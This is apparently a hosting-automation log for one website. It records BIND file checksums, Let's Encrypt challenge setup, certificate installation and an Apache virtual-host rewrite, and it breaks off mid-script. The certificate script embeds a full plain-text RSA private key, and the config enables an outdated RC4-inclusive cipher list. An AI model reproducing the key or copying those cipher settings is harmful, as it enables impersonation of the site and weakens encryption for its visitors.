MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-12 19:10:28: Establishing a connection
2026-07-12 19:10:28: Establishing a connection
2026-07-12 19:10:28: 

PUT: /tmp/pkp973320

#!/bin/bash
if [ -d "/var/www/christadelphianfraternal_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-12 19:10:28: 

chmod 755 /tmp/pkp973320; /tmp/pkp973320; rm /tmp/pkp973320

2026-07-12 19:10:28: 


1


2026-07-12 19:10:30: Establishing a connection
2026-07-12 19:10:30: 

PUT: /tmp/pkp203434

#!/bin/bash
mkdir -p "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cd "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cat > S5HZ9UMRWR1VKn17uDEZEXU_C2nM9MueQa3DH9WtYVA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
S5HZ9UMRWR1VKn17uDEZEXU_C2nM9MueQa3DH9WtYVA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 S5HZ9UMRWR1VKn17uDEZEXU_C2nM9MueQa3DH9WtYVA
cat > G8Ib1yzHpCR0tAPVi1Bak_kA7G6qBcxOUqC_WlkjKiA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
G8Ib1yzHpCR0tAPVi1Bak_kA7G6qBcxOUqC_WlkjKiA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 G8Ib1yzHpCR0tAPVi1Bak_kA7G6qBcxOUqC_WlkjKiA


2026-07-12 19:10:30: 

chmod 755 /tmp/pkp203434; /tmp/pkp203434; rm /tmp/pkp203434

2026-07-12 19:10:30: 




2026-07-12 19:10:41: Establishing a connection
2026-07-12 19:10:41: 

PUT: /tmp/pkp781246

#!/bin/bash
mkdir -p "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cd "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
rm S5HZ9UMRWR1VKn17uDEZEXU_C2nM9MueQa3DH9WtYVA
rm G8Ib1yzHpCR0tAPVi1Bak_kA7G6qBcxOUqC_WlkjKiA


2026-07-12 19:10:41: 

chmod 755 /tmp/pkp781246; /tmp/pkp781246; rm /tmp/pkp781246

2026-07-12 19:10:41: 




2026-07-12 19:10:41: Establishing a connection
2026-07-12 19:10:41: 

PUT: /tmp/pkp538014

#!/bin/bash
temp_file=$(mktemp)
TARGET=b4498780588346731659d115ecf1bb4c.crt

cat > $temp_file <<'endmsg'
94:c5:44:e3:5b:81:c5:a5:c1:ed:2f:0c:7f:ee:fa:1a

-----BEGIN CERTIFICATE-----
MIIFOTCCBCGgAwIBAgISBY27C4DIBFB/JZF1+8Osp0xmMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzEyMTgxMjA5WhcNMjYxMDEwMTgxMjA4WjAoMSYwJAYDVQQD
Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAKSlwUJG0BCvhG09EmptNbW115v8n1eioB9fcK2jY0fN
jZWpl8cCzIf2X3g2uxnKLCq0Jvw7M1SIiE77EpVvxjr59Op9dpuFazHoXZR7pOlk
56miNGKS25zYoI1+lVHEHaLiwTR6psF7WE8QBeCQxke4bFt7Wp0Fxs3rEmWblErG
vqzGxLwTNrtxEpqihdQXZNMzS6j7AZ+iIDmYpBsosMp2A1CHoAXkXMfV/P2s3aJs
hMtHuLkWuxQ+U3st163YFfBbG2uWh4QwkvqerDC8za4hzHtQ5xZJCAhDhdGLcddB
ypln/CMRvlCJ3U/14od7gpoS48fBY96YxBEI1jZA7XsCAwEAAaOCAlAwggJMMA4G
A1UdDwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBR+Q1GJ+LX7sk4pGB6kVzjI4z1ieDAfBgNVHSMEGDAWgBRAFS0m
ee0yIJ7fmnId1jIfgQyBDDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly95cjIuaS5sZW5jci5vcmcvMEsGA1UdEQREMEKCHWNocmlzdGFkZWxwaGlh
bmZyYXRlcm5hbC5pbmZvgiF3d3cuY2hyaXN0YWRlbHBoaWFuZnJhdGVybmFsLmlu
Zm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDov
L3lyMi5jLmxlbmNyLm9yZy8xMDMuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5
AHYA1219ENGn9XfCx+lf1wC/+YLJM1pl4dCzAXMXwMjFaXcAAAGfV70e+AAABAMA
RzBFAiEAyd0/kBgyB7LwpwtMvHaHlrystiezNcYgL4r0mOd8p60CIHm8DzenWjFj
3aqlVjOGw1x+KYlJMi6wfYIEBBE92VN9AH8AGoudaw/+v4G0eTnG0jEKhtbRAtTw
RuIYLJ3jX14mJe8AAAGfV70iVgAIAAAFACj+LbAEAwBIMEYCIQD+VCxOIA/g0ZDA
vBk26iMlm07lts8GTaRSqUI89LzePwIhAP9ZKZSx9Nf7ZDyajr44OFjRWclkOaSz
niEyInY+2MApMA0GCSqGSIb3DQEBCwUAA4IBAQCbe2qsRBUEEI6P8VdTMWdZBlvw
A5RLGIry9wmHOP79/l4lXzXN9ri5K485MD2snlPScQNUibi5m6t3S7ps4W+Ei+xw
0ABSQoxHQACRz6sfZLlCTZFRaEpnYgEyiqAYHGRVpEDvt30tKwnTYBFmGXTVBWFO
hTV4s9o0TxSb566E6NYftqrw5+LzjInsMlbu7pDa3mdtRKcnoEY+uxCwimTaELRl
AuTrnik9/gHJM52ZiSJi/jSYhLYY5BqaNZowhriBBk+VwM3CzXTePpMfuBhrjn3p
75WgODaQVPvs7Q34/2Tslj3FeLk094WO+WDfwnUeTdUIrecBJUkGgNIx0dtA
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCkpcFCRtAQr4Rt
PRJqbTW1tdeb/J9XoqAfX3Cto2NHzY2VqZfHAsyH9l94NrsZyiwqtCb8OzNUiIhO
+xKVb8Y6+fTqfXabhWsx6F2Ue6TpZOepojRiktuc2KCNfpVRxB2i4sE0eqbBe1hP
EAXgkMZHuGxbe1qdBcbN6xJlm5RKxr6sxsS8Eza7cRKaooXUF2TTM0uo+wGfoiA5
mKQbKLDKdgNQh6AF5FzH1fz9rN2ibITLR7i5FrsUPlN7Ldet2BXwWxtrloeEMJL6
nqwwvM2uIcx7UOcWSQgIQ4XRi3HXQcqZZ/wjEb5Qid1P9eKHe4KaEuPHwWPemMQR
CNY2QO17AgMBAAECggEAKmf0vCy/5yRFr9sEdLvXEwuYUjlBExG0OxBaVaaY6gPz
vQHWsS+z3SrkEPLLwsszD/aheeKHiHS34tvAwBNvU35Qidqxo0G8R7jo7VbhNSnD
jwnTgzX+8UlMJNVfARXJakwL5gfXDktGBesDEIFJSGykH/XH81xrBVtPvDLTgWSA
MkwTJ4DAhFBQOZ8UuW5HgDHSBJynM7FcRMs4IhUGjAGpv08nJPxR5WS+KnQfI3v+
3YzzcTjKdH5y2xNTjQqmRuoWYiS6AYUkELBu8P0EpmHuBYtL9mnujMnzCyPKWzV8
ReWtkwPpjhGAsaZEgJA04u2XvwiR/JkXwED7oXnHYQKBgQDO3+QoAYfZCo/DtQkY
DuPcnD+2bFqNoKRPBtCouHsie78PbxSRNp1/Q6pAtty8qmOc48qxa0z/VnRRc8sD
yKTVaSXqooFL95Xx691BeGNhztB3tJgdA1MIrDtlKI0WpANK5qjsFvoH335I437S
Qu36r6ea0aQvj1AI5+KIZTPFGwKBgQDLvtZKUj87ELIpv3lgiZrsBk7nXQ6vTmqk
y+5Q432g2vwdZh5PIrMhxOQan5PAD+G9udsPUwBvhMfD/ZnbWA8wdV3ctRty06YA
qUFCarLFjWVEzIaUxNFqt/RxuQjUIu9mLNIigHD5Fx2Z2dZvR6DiSD7xkEKDYHVx
l1oozcbfIQKBgQDGNnz72+OWkGkI4gdxlqq6cLcXCaCFvJpR4bzBO+k3NAvvNMYn
EIY9Ls8MrGi5GCTTaOqHrcCbkfFnLaQh3vgYRmP++W8bI4D2x8A5/6hxSWAyocVx
XwMK90L9fKoaPFGvTWwisS0lp/zux5J20YwFOpJDY4SF0TGlJtDFUPoWawKBgEMt
7GhbECBAlA4x5SqQlLVoKxIcW+AvwfgOicjACcdFDUYAStQbA+eJjRC+NzBnzC4L
nxBBdO5QYLHd56IsOe3ndQh16tQEt0KWjD8DAWkkAxUZPvLEpqxCdWYd9axEzJzr
AGqB4T4wggEdk5fjjUevPJnX0CaTYoYOupqjpwQhAoGAGwntCISWjaDA8YaMpvCy
SYzTTkX6nw4nNdUN7cviZIr5TmUKlXSqa4GZWOIBA8yK1JrktCR3nmAaKJa/TCXf
KB09gKM/YvTLV0KIQ7DLRWjCkUpL5H67n90nVaiQFuH1GMU5EIQvd+DDbIVUseUZ
w2y9+UdQ9X2QzdCWspu2pVc=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-12 19:10:41: 

chmod 755 /tmp/pkp538014; /tmp/pkp538014; rm /tmp/pkp538014

2026-07-12 19:10:41: 


dir=/etc/ssl/certs


2026-07-12 19:10:41: 

PUT: /tmp/pkp194519

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-12 19:10:41: 

chmod 755 /tmp/pkp194519; /tmp/pkp194519; rm /tmp/pkp194519

2026-07-12 19:10:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf 57

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-12 19:10:41: 

PUT: /tmp/pkp489124

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphianfraternal_www_info.conf
TARGET=/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
